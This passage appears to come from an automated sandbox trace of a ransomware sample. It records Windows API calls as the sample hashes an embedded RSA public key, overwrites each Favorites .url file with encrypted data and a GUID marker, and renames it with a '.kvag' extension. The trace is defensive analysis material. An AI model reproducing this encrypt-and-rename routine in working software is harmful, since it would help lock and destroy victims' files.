phProv=0x6a5fa50*=0x3607be0) returned 1 [0120.677] CryptCreateHash (in: hProv=0x3607be0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x6a5fa58 | out: phHash=0x6a5fa58) returned 1 [0120.677] CryptHashData (hHash=0x6183888, pbData=0x6194728, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0120.677] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x0, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x6a5fa54) returned 1 [0120.677] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x614db40, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x614db40, pdwDataLen=0x6a5fa54) returned 1 [0120.677] CryptDestroyHash (hHash=0x6183888) returned 1 [0120.677] CryptReleaseContext (hProv=0x3607be0, dwFlags=0x0) returned 1 [0120.677] UuidCreate (in: Uuid=0x6a5fa48 | out: Uuid=0x6a5fa48) returned 0x0 [0120.677] UuidToStringA (in: Uuid=0x6a5fa48, StringUuid=0x6a5fa40 | out: StringUuid=0x6a5fa40) returned 0x0 [0120.677] RpcStringFreeA (in: String=0x6a5fa40 | out: String=0x6a5fa40) returned 0x0 [0120.677] RtlReAllocateHeap (Heap=0x35b0000, Flags=0x0, Ptr=0x6781688, Size=0x218) returned 0x67743c8 [0120.678] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x85, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.678] WriteFile (in: hFile=0x61c, lpBuffer=0x61efec8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x61efec8*, lpNumberOfBytesWritten=0x6a5fb50*=0x100, lpOverlapped=0x0) returned 1 [0120.678] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0120.678] WriteFile (in: hFile=0x61c, lpBuffer=0x504440*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x504440*, lpNumberOfBytesWritten=0x6a5fb50*=0x26, lpOverlapped=0x0) returned 1 [0120.678] CloseHandle (hObject=0x61c) returned 1 [0120.679] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Money.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn money.url"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Money.url.kvag" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn money.url.kvag")) returned 1 [0120.680] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSN Sports.url", cAlternateFileName="MSNSPO~1.URL")) returned 1 [0120.680] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Sports.url") returned=".url" [0120.680] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Sports.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn sports.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0120.681] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x6a5fb40 | out: lpFileSize=0x6a5fb40*=133) returned 1 [0120.681] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x6ba0000 [0120.683] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x5f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.683] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x6a5fb78, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb78*=0x26, lpOverlapped=0x0) returned 1 [0120.684] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x6a5fb70, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb70*=0x85, lpOverlapped=0x0) returned 1 [0120.684] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0120.684] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0120.684] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0120.684] CryptAcquireContextW (in: phProv=0x6a5fa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x6a5fa50*=0x3607be0) returned 1 [0120.686] CryptCreateHash (in: hProv=0x3607be0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x6a5fa58 | out: phHash=0x6a5fa58) returned 1 [0120.686] CryptHashData (hHash=0x6183888, pbData=0x6194728, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0120.686] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x0, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x6a5fa54) returned 1 [0120.686] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x614db40, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x614db40, pdwDataLen=0x6a5fa54) returned 1 [0120.686] CryptDestroyHash (hHash=0x6183888) returned 1 [0120.686] CryptReleaseContext (hProv=0x3607be0, dwFlags=0x0) returned 1 [0120.686] UuidCreate (in: Uuid=0x6a5fa48 | out: Uuid=0x6a5fa48) returned 0x0 [0120.686] UuidToStringA (in: Uuid=0x6a5fa48, StringUuid=0x6a5fa40 | out: StringUuid=0x6a5fa40) returned 0x0 [0120.686] RpcStringFreeA (in: String=0x6a5fa40 | out: String=0x6a5fa40) returned 0x0 [0120.686] RtlReAllocateHeap (Heap=0x35b0000, Flags=0x0, Ptr=0x6781688, Size=0x218) returned 0x67743c8 [0120.687] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x85, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.687] WriteFile (in: hFile=0x61c, lpBuffer=0x61efec8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x61efec8*, lpNumberOfBytesWritten=0x6a5fb50*=0x100, lpOverlapped=0x0) returned 1 [0120.687] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0120.687] WriteFile (in: hFile=0x61c, lpBuffer=0x504440*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x504440*, lpNumberOfBytesWritten=0x6a5fb50*=0x26, lpOverlapped=0x0) returned 1 [0120.687] CloseHandle (hObject=0x61c) returned 1 [0120.688] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Sports.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn sports.url"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Sports.url.kvag" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn sports.url.kvag")) returned 1 [0120.689] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSN.url", cAlternateFileName="")) returned 1 [0120.689] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN.url") returned=".url" [0120.690] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0120.690] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x6a5fb40 | out: lpFileSize=0x6a5fb40*=133) returned 1 [0120.690] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x6ba0000 [0120.692] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x5f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.692] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x6a5fb78, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb78*=0x26, lpOverlapped=0x0) returned 1 [0120.692] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x6a5fb70, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb70*=0x85, lpOverlapped=0x0) returned 1 [0120.693] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0120.693] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0120.693] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0120.693] CryptAcquireContextW (in: phProv=0x6a5fa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x6a5fa50*=0x3607be0) returned 1 [0120.693] CryptCreateHash (in: hProv=0x3607be0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x6a5fa58 | out: phHash=0x6a5fa58) returned 1 [0120.693] CryptHashData (hHash=0x6183888, pbData=0x6194728, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0120.694] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x0, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x6a5fa54) returned 1 [0120.694] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x614db40, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x614db40, pdwDataLen=0x6a5fa54) returned 1 [0120.694] CryptDestroyHash (hHash=0x6183888) returned 1 [0120.694] CryptReleaseContext (hProv=0x3607be0, dwFlags=0x0) returned 1 [0120.694] UuidCreate (in: Uuid=0x6a5fa48 | out: Uuid=0x6a5fa48) returned 0x0 [0120.694] UuidToStringA (in: Uuid=0x6a5fa48, StringUuid=0x6a5fa40 | out: StringUuid=0x6a5fa40) returned 0x0 [0120.694] RpcStringFreeA (in: String=0x6a5fa40 | out: String=0x6a5fa40) returned 0x0 [0120.694] RtlReAllocateHeap (Heap=0x35b0000, Flags=0x0, Ptr=0x6781688, Size=0x218) returned 0x67743c8 [0120.694] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x85, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.694] WriteFile (in: hFile=0x61c, lpBuffer=0x61efec8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x61efec8*, lpNumberOfBytesWritten=0x6a5fb50*=0x100, lpOverlapped=0x0) returned 1 [0120.694] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0120.694] WriteFile (in: hFile=0x61c, lpBuffer=0x504440*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x504440*, lpNumberOfBytesWritten=0x6a5fb50*=0x26, lpOverlapped=0x0) returned 1 [0120.695] CloseHandle (hObject=0x61c) returned 1 [0120.695] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn.url"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN.url.kvag" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn.url.kvag")) returned 1 [0120.696] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSNBC News.url", cAlternateFileName="MSNBCN~1.URL")) returned 1 [0120.697] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSNBC News.url") returned=".url" [0120.697] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSNBC News.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msnbc news.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0120.697] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x6a5fb40 | out: lpFileSize=0x6a5fb40*=133) returned 1 [0120.697] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x6ba0000 [0120.700] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x5f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.700] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x6a5fb78, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb78*=0x26, lpOverlapped=0x0) returned 1 [0120.704] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x6a5fb70, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb70*=0x85, lpOverlapped=0x0) returned 1 [0120.704] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0120.704] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0120.704] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0120.704] CryptAcquireContextW (in: phProv=0x6a5fa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x6a5fa50*=0x3607be0) returned 1 [0120.705] CryptCreateHash (in: hProv=0x3607be0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x6a5fa58 | out: phHash=0x6a5fa58) returned 1 [0120.705] CryptHashData (hHash=0x6183888, pbData=0x6194728, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0120.705] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x0, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x6a5fa54) returned 1 [0120.705] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x614db40, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x614db40, pdwDataLen=0x6a5fa54) returned 1 [0120.705] CryptDestroyHash (hHash=0x6183888) returned 1 [0120.705] CryptReleaseContext (hProv=0x3607be0, dwFlags=0x0) returned 1 [0120.705] UuidCreate (in: Uuid=0x6a5fa48 | out: Uuid=0x6a5fa48) returned 0x0 [0120.705] UuidToStringA (in: Uuid=0x6a5fa48, StringUuid=0x6a5fa40 | out: StringUuid=0x6a5fa40) returned 0x0 [0120.705] RpcStringFreeA (in: String=0x6a5fa40 | out: String=0x6a5fa40) returned 0x0 [0120.705] RtlReAllocateHeap (Heap=0x35b0000, Flags=0x0, Ptr=0x6781688, Size=0x218) returned 0x67743c8 [0120.705] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x85, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.705] WriteFile (in: hFile=0x61c, lpBuffer=0x61efec8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x61efec8*, lpNumberOfBytesWritten=0x6a5fb50*=0x100, lpOverlapped=0x0) returned 1 [0120.706] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0120.706] WriteFile (in: hFile=0x61c, lpBuffer=0x504440*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x504440*, lpNumberOfBytesWritten=0x6a5fb50*=0x26, lpOverlapped=0x0) returned 1 [0120.706] CloseHandle (hObject=0x61c) returned 1 [0120.706] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSNBC News.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msnbc news.url"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSNBC News.url.kvag" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msnbc news.url.kvag")) returned 1 [0120.708] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSNBC News.url", cAlternateFileName="MSNBCN~1.URL")) returned 0 [0120.708] FindClose (in: hFindFile=0x6183848 | out: hFindFile=0x6183848) returned 1 [0120.708] PeekMessageW (in: lpMsg=0x6a5ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5ff08) returned 0 [0120.708] PeekMessageW (in: lpMsg=0x6a5fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5fb74) returned 0 [0120.708] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\") returned="Windows Live\\" [0120.708] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\") returned="Favorites\\" [0120.708] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0120.708] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0120.708] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0120.708] PathFindFileNameW (pszPath="") returned="" [0120.708] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\*", lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d71a60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6183848 [0120.709] 